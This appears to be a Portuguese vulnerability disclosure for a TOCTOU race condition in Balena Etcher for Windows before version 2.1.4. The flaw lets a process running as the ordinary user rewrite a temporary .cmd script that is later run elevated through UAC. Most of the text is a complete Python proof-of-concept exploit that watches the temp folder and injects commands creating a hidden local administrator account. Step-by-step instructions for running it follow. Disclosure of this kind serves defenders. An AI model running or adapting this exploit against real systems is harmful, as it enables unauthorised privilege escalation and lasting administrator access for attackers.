
Balena Etcher em versões anteriores à v2.1.4 no Windows são afetadas por uma condição de corrida Time-of-Check to Time-of-Use (TOCTOU) no tratamento de arquivos temporários.
Uma vulnerabilidade do tipo Time-of-Check to Time-of-Use (TOCTOU) foi identificada no Balena Etcher para Windows em versões anteriores à 2.1.4.
O aplicativo cria um arquivo temporário .cmd em um diretório gravável pelo usuário e posteriormente o executa com privilégios elevados via UAC.
Isso permite que um aplicativo ou processo em execução no contexto do usuário atual com integridade média eleve privilégios para integridade alta ao injetar comandos maliciosos no script temporário antes de sua execução.
Quando um usuário inicia o processo de gravação, o Etcher executa a seguinte sequência:
Um arquivo temporário .cmd é criado no diretório temporário gravável do usuário:
C:\Users\<username>\AppData\Local\Temp\etcher\
O arquivo é preenchido com as variáveis de ambiente necessárias e o comando para iniciar o etcher-util.exe.
O script é executado com privilégios elevados via UAC do Windows.
A vulnerabilidade surge do intervalo de tempo entre a criação do arquivo e sua execução. Durante essa breve janela, um aplicativo em execução no mesmo contexto do usuário pode monitorar o diretório temporário e substituir o arquivo .cmd legítimo por uma versão maliciosa. Como o Etcher não valida a integridade do arquivo antes de executá-lo, o código malicioso é executado com privilégios elevados.
O seguinte script Python monitora o diretório temporário do Etcher e, assim que o arquivo .cmd é detectado, anexa a ele um payload malicioso que cria uma nova conta de administrador local.
import os
import time
import glob
username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''
def monitor_and_replace():
print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
while True:
cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
for cmd_file in cmd_files:
print(f"[+] New .cmd file detected: {cmd_file}")
try:
with open(cmd_file, "w") as f:
f.write(payload)
print("[+] Payload successfully written to .cmd file.")
return # Exit after successful injection
except Exception as e:
print(f"[-] Failed to write payload: {e}")
time.sleep(0.5)
if __name__ == "__main__":
monitor_and_replace()
python exploit.py. O script começa a monitorar o diretório temporário em busca de arquivos .cmd criados pelo Etcher.
Quando o prompt UAC aparecer, aceite-o para permitir que o Etcher continue com privilégios elevados.
O script de exploração detecta e substitui o arquivo temporário .cmd pouco antes da execução. Assim que o script é executado com privilégios elevados, os comandos injetados são executados, adicionando um novo usuário administrador local (exploitUser).